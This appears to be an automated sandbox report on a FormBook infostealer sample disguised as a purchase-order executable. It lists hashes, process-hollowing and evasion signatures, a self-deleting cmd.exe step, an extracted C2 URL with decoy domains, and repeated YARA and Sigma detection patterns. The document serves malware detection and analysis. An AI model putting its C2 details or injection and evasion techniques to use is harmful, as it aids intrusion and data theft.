Play interactive tour

Edit tour

Windows Analysis Report PO# 0499699.exe

Overview

General Information

Sample Name:	PO# 0499699.exe
Analysis ID:	434783
MD5:	028549d34db828041eed451464873036
SHA1:	82d6a07b48ed56c009eb553ed15cb0307cf97914
SHA256:	49e85a486931e92ab028dc10d02b1d2d5860a6656bf6d50cef71542fc0905105
Tags:	exe
Infos:
Most interesting Screenshot:

Detection

FormBook

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Detected unpacking (changes PE section rights)

Found malware configuration

Malicious sample detected (through community Yara rule)

Sigma detected: Suspect Svchost Activity

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

System process connects to network (likely due to code injection or exploit)

Yara detected FormBook

C2 URLs / IPs found in malware configuration

Initial sample is a PE file and has a suspicious name

Machine Learning detection for sample

Maps a DLL or memory area into another process

Modifies the context of a thread in another process (thread injection)

Queues an APC in another process (thread injection)

Sample uses process hollowing technique

Sigma detected: Suspicious Svchost Process

Tries to detect virtualization through RDTSC time measurements

Antivirus or Machine Learning detection for unpacked file

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to dynamically determine API calls

Contains functionality to read the PEB

Contains functionality to shutdown / reboot the system

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Enables debug privileges

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

PO# 0499699.exe (PID: 7096 cmdline: 'C:\Users\user\Desktop\PO# 0499699.exe' MD5: 028549D34DB828041EED451464873036)

PO# 0499699.exe (PID: 7160 cmdline: 'C:\Users\user\Desktop\PO# 0499699.exe' MD5: 028549D34DB828041EED451464873036)

explorer.exe (PID: 3424 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)

autoconv.exe (PID: 6628 cmdline: C:\Windows\SysWOW64\autoconv.exe MD5: 4506BE56787EDCD771A351C10B5AE3B7)

svchost.exe (PID: 6712 cmdline: C:\Windows\SysWOW64\svchost.exe MD5: FA6C268A5B5BDA067A901764D203D433)

cmd.exe (PID: 744 cmdline: /c del 'C:\Users\user\Desktop\PO# 0499699.exe' MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 4552 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cleanup

Malware Configuration

Threatname: FormBook

{"C2 list": ["www.yunastone.com/u6e4/"], "decoy": ["seospecialised.com", "acrostuttgart.com", "tbluedotpanowdshop.com", "holleyjohnson.net", "kimloc.com", "he693thm166.com", "dahumblehustla.com", "cestsansgluten.net", "woxingame.com", "worldleadersretail.com", "esmcharts.com", "lovelivehuntingtonbeach.com", "komorebi-id.com", "blissburg.site", "businessloansug.com", "willorv.com", "nordsyron.com", "katebrighton.com", "sweet999.com", "antimicrobialkiosk.com", "zpokasil.com", "teengen.today", "cindyshairofdistinction.com", "prpdigital.com", "svenskagourmet.com", "forloveofwords.com", "wequassettacademy.com", "player0.xyz", "onlyheat.net", "fortrestpool.com", "wonderyearsplayschool.com", "lkrefkldklerfkklef.com", "oran-id101.club", "parentue.com", "skincarezwolle.com", "letsq.info", "sprtncloud.com", "pfg-aero.com", "yoperro.net", "meetzeedzaab.com", "xn--80aeingrcwdeeaee.xn--p1acf", "betterglazing.com", "postingyourvideos.com", "detegelboer.com", "monroesbowtique.com", "brisswicks.com", "ethnicbucket.com", "jackgaughan.net", "nuskinhk.com", "zgwljypx.com", "getemcooking.com", "metime1111.com", "2bluepigs.com", "yourcreativeconsultantgroup.com", "blinbins.com", "ruckfree.com", "mikerack.com", "downtoearthwork.com", "uxdnxodpo.icu", "lilycartoons.com", "yihetubu.com", "digho.online", "sigsauerheadquarters.com", "worldhookupguides.com"]}

Yara Overview

Memory Dumps

Source	Rule	Description	Author	Strings
00000007.00000002.914299870.0000000003A30000.00000004.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000007.00000002.914299870.0000000003A30000.00000004.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8982:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14695:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14181:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14797:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1490f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x939a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x133fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa112:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19787:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1a82a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000007.00000002.914299870.0000000003A30000.00000004.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x166b9:$sqlite3step: 68 34 1C 7B E1 0x167cc:$sqlite3step: 68 34 1C 7B E1 0x166e8:$sqlite3text: 68 38 2A 90 C5 0x1680d:$sqlite3text: 68 38 2A 90 C5 0x166fb:$sqlite3blob: 68 53 D8 7F 8C 0x16823:$sqlite3blob: 68 53 D8 7F 8C
00000000.00000002.654323964.00000000022C0000.00000004.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000000.00000002.654323964.00000000022C0000.00000004.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8982:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14695:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14181:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14797:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1490f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x939a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x133fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa112:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19787:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1a82a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000000.00000002.654323964.00000000022C0000.00000004.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x166b9:$sqlite3step: 68 34 1C 7B E1 0x167cc:$sqlite3step: 68 34 1C 7B E1 0x166e8:$sqlite3text: 68 38 2A 90 C5 0x1680d:$sqlite3text: 68 38 2A 90 C5 0x166fb:$sqlite3blob: 68 53 D8 7F 8C 0x16823:$sqlite3blob: 68 53 D8 7F 8C
00000007.00000002.914264878.0000000003A00000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000007.00000002.914264878.0000000003A00000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8982:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14695:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14181:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14797:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1490f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x939a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x133fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa112:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19787:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1a82a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000007.00000002.914264878.0000000003A00000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x166b9:$sqlite3step: 68 34 1C 7B E1 0x167cc:$sqlite3step: 68 34 1C 7B E1 0x166e8:$sqlite3text: 68 38 2A 90 C5 0x1680d:$sqlite3text: 68 38 2A 90 C5 0x166fb:$sqlite3blob: 68 53 D8 7F 8C 0x16823:$sqlite3blob: 68 53 D8 7F 8C
00000001.00000001.652339293.0000000000400000.00000040.00020000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000001.00000001.652339293.0000000000400000.00000040.00020000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8982:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14695:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14181:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14797:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1490f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x939a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x133fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa112:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19787:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1a82a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000001.00000001.652339293.0000000000400000.00000040.00020000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x166b9:$sqlite3step: 68 34 1C 7B E1 0x167cc:$sqlite3step: 68 34 1C 7B E1 0x166e8:$sqlite3text: 68 38 2A 90 C5 0x1680d:$sqlite3text: 68 38 2A 90 C5 0x166fb:$sqlite3blob: 68 53 D8 7F 8C 0x16823:$sqlite3blob: 68 53 D8 7F 8C
00000001.00000002.725915647.0000000000400000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000001.00000002.725915647.0000000000400000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8982:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14695:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14181:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14797:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1490f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x939a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x133fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa112:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19787:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1a82a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000001.00000002.725915647.0000000000400000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x166b9:$sqlite3step: 68 34 1C 7B E1 0x167cc:$sqlite3step: 68 34 1C 7B E1 0x166e8:$sqlite3text: 68 38 2A 90 C5 0x1680d:$sqlite3text: 68 38 2A 90 C5 0x166fb:$sqlite3blob: 68 53 D8 7F 8C 0x16823:$sqlite3blob: 68 53 D8 7F 8C
00000001.00000002.726168620.0000000000590000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000001.00000002.726168620.0000000000590000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8982:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14695:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14181:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14797:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1490f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x939a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x133fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa112:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19787:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1a82a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000001.00000002.726168620.0000000000590000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x166b9:$sqlite3step: 68 34 1C 7B E1 0x167cc:$sqlite3step: 68 34 1C 7B E1 0x166e8:$sqlite3text: 68 38 2A 90 C5 0x1680d:$sqlite3text: 68 38 2A 90 C5 0x166fb:$sqlite3blob: 68 53 D8 7F 8C 0x16823:$sqlite3blob: 68 53 D8 7F 8C
00000007.00000002.913465611.0000000000F60000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000007.00000002.913465611.0000000000F60000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8982:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14695:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14181:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14797:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1490f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x939a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x133fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa112:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19787:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1a82a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000007.00000002.913465611.0000000000F60000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x166b9:$sqlite3step: 68 34 1C 7B E1 0x167cc:$sqlite3step: 68 34 1C 7B E1 0x166e8:$sqlite3text: 68 38 2A 90 C5 0x1680d:$sqlite3text: 68 38 2A 90 C5 0x166fb:$sqlite3blob: 68 53 D8 7F 8C 0x16823:$sqlite3blob: 68 53 D8 7F 8C
00000001.00000002.726196918.00000000005C0000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000001.00000002.726196918.00000000005C0000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8982:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14695:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14181:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14797:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1490f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x939a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x133fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa112:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19787:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1a82a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000001.00000002.726196918.00000000005C0000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x166b9:$sqlite3step: 68 34 1C 7B E1 0x167cc:$sqlite3step: 68 34 1C 7B E1 0x166e8:$sqlite3text: 68 38 2A 90 C5 0x1680d:$sqlite3text: 68 38 2A 90 C5 0x166fb:$sqlite3blob: 68 53 D8 7F 8C 0x16823:$sqlite3blob: 68 53 D8 7F 8C
Click to see the 19 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.PO# 0499699.exe.22c0000.2.raw.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
0.2.PO# 0499699.exe.22c0000.2.raw.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8982:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14695:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14181:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14797:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1490f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x939a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x133fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa112:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19787:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1a82a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
0.2.PO# 0499699.exe.22c0000.2.raw.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x166b9:$sqlite3step: 68 34 1C 7B E1 0x167cc:$sqlite3step: 68 34 1C 7B E1 0x166e8:$sqlite3text: 68 38 2A 90 C5 0x1680d:$sqlite3text: 68 38 2A 90 C5 0x166fb:$sqlite3blob: 68 53 D8 7F 8C 0x16823:$sqlite3blob: 68 53 D8 7F 8C
1.2.PO# 0499699.exe.400000.0.raw.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
1.2.PO# 0499699.exe.400000.0.raw.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8982:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14695:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14181:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14797:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1490f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x939a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x133fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa112:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19787:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1a82a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
1.2.PO# 0499699.exe.400000.0.raw.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x166b9:$sqlite3step: 68 34 1C 7B E1 0x167cc:$sqlite3step: 68 34 1C 7B E1 0x166e8:$sqlite3text: 68 38 2A 90 C5 0x1680d:$sqlite3text: 68 38 2A 90 C5 0x166fb:$sqlite3blob: 68 53 D8 7F 8C 0x16823:$sqlite3blob: 68 53 D8 7F 8C
1.2.PO# 0499699.exe.400000.0.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
1.2.PO# 0499699.exe.400000.0.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x77e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x7b82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x13895:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x13381:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x13997:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x13b0f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x859a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x125fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x9312:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x18987:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x19a2a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
1.2.PO# 0499699.exe.400000.0.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x158b9:$sqlite3step: 68 34 1C 7B E1 0x159cc:$sqlite3step: 68 34 1C 7B E1 0x158e8:$sqlite3text: 68 38 2A 90 C5 0x15a0d:$sqlite3text: 68 38 2A 90 C5 0x158fb:$sqlite3blob: 68 53 D8 7F 8C 0x15a23:$sqlite3blob: 68 53 D8 7F 8C
1.1.PO# 0499699.exe.400000.0.raw.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
1.1.PO# 0499699.exe.400000.0.raw.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8982:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14695:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14181:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14797:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1490f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x939a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x133fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa112:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19787:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1a82a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
1.1.PO# 0499699.exe.400000.0.raw.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x166b9:$sqlite3step: 68 34 1C 7B E1 0x167cc:$sqlite3step: 68 34 1C 7B E1 0x166e8:$sqlite3text: 68 38 2A 90 C5 0x1680d:$sqlite3text: 68 38 2A 90 C5 0x166fb:$sqlite3blob: 68 53 D8 7F 8C 0x16823:$sqlite3blob: 68 53 D8 7F 8C
0.2.PO# 0499699.exe.22c0000.2.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
0.2.PO# 0499699.exe.22c0000.2.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x77e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x7b82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x13895:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x13381:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x13997:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x13b0f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x859a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x125fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x9312:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x18987:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x19a2a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
0.2.PO# 0499699.exe.22c0000.2.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x158b9:$sqlite3step: 68 34 1C 7B E1 0x159cc:$sqlite3step: 68 34 1C 7B E1 0x158e8:$sqlite3text: 68 38 2A 90 C5 0x15a0d:$sqlite3text: 68 38 2A 90 C5 0x158fb:$sqlite3blob: 68 53 D8 7F 8C 0x15a23:$sqlite3blob: 68 53 D8 7F 8C
1.1.PO# 0499699.exe.400000.0.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
1.1.PO# 0499699.exe.400000.0.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x77e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x7b82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x13895:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x13381:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x13997:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x13b0f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x859a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x125fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x9312:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x18987:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x19a2a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
1.1.PO# 0499699.exe.400000.0.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x158b9:$sqlite3step: 68 34 1C 7B E1 0x159cc:$sqlite3step: 68 34 1C 7B E1 0x158e8:$sqlite3text: 68 38 2A 90 C5 0x15a0d:$sqlite3text: 68 38 2A 90 C5 0x158fb:$sqlite3blob: 68 53 D8 7F 8C 0x15a23:$sqlite3blob: 68 53 D8 7F 8C
Click to see the 13 entries

Sigma Overview

System Summary:

Sigma detected: Suspect Svchost Activity

Show sources

Source: Process started

Author: David Burkett: Data: Command: C:\Windows\SysWOW64\svchost.exe, CommandLine: C:\Windows\SysWOW64\svchost.exe, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: C:\Windows\Explorer.EXE, ParentImage: C:\Windows\explorer.exe, ParentProcessId: 3424, ProcessCommandLine: C:\Windows\SysWOW64\svchost.exe, ProcessId: 6712

Sigma detected: Suspicious Svchost Process

Show sources

Source: Process started

Author: Florian Roth: Data: Command: C:\Windows\SysWOW64\svchost.exe, CommandLine: C:\Windows\SysWOW64\svchost.exe, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: C:\Windows\Explorer.EXE, ParentImage: C:\Windows\explorer.exe, ParentProcessId: 3424, ProcessCommandLine: C:\Windows\SysWOW64\svchost.exe, ProcessId: 6712

Sigma detected: Windows Processes Suspicious Parent Directory

Show sources

Source: Process started

Author: vburov: Data: Command: C:\Windows\SysWOW64\svchost.exe, CommandLine: C:\Windows\SysWOW64\svchost.exe, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: C:\Windows\Explorer.EXE, ParentImage: C:\Windows\explorer.exe, ParentProcessId: 3424, ProcessCommandLine: C:\Windows\SysWOW64\svchost.exe, ProcessId: 6712

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 00000007.00000002.914299870.0000000003A30000.00000004.00000001.sdmp

Malware Configuration Extractor: FormBook {"C2 list": ["www.yunastone.com/u6e4/"], "decoy": ["seospecialised.com", "acrostuttgart.com", "tbluedotpanowdshop.com", "holleyjohnson.net", "kimloc.com", "he693thm166.com", "dahumblehustla.com", "cestsansgluten.net", "woxingame.com", "worldleadersretail.com", "esmcharts.com", "lovelivehuntingtonbeach.com", "komorebi-id.com", "blissburg.site", "businessloansug.com", "willorv.com", "nordsyron.com", "katebrighton.com", "sweet999.com", "antimicrobialkiosk.com", "zpokasil.com", "teengen.today", "cindyshairofdistinction.com", "prpdigital.com", "svenskagourmet.com", "forloveofwords.com", "wequassettacademy.com", "player0.xyz", "onlyheat.net", "fortrestpool.com", "wonderyearsplayschool.com", "lkrefkldklerfkklef.com", "oran-id101.club", "parentue.com", "skincarezwolle.com", "letsq.info", "sprtncloud.com", "pfg-aero.com", "yoperro.net", "meetzeedzaab.com", "xn--80aeingrcwdeeaee.xn--p1acf", "betterglazing.com", "postingyourvideos.com", "detegelboer.com", "monroesbowtique.com", "brisswicks.com", "ethnicbucket.com", "jackgaughan.net", "nuskinhk.com", "zgwljypx.com", "getemcooking.com", "metime1111.com", "2bluepigs.com", "yourcreativeconsultantgroup.com", "blinbins.com", "ruckfree.com", "mikerack.com", "downtoearthwork.com", "uxdnxodpo.icu", "lilycartoons.com", "yihetubu.com", "digho.online", "sigsauerheadquarters.com", "worldhookupguides.com"]}

Yara detected FormBook

Show sources

Source: Yara match	File source: 00000007.00000002.914299870.0000000003A30000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.654323964.00000000022C0000.00000004.00000001.sdmp, type: MEMORY
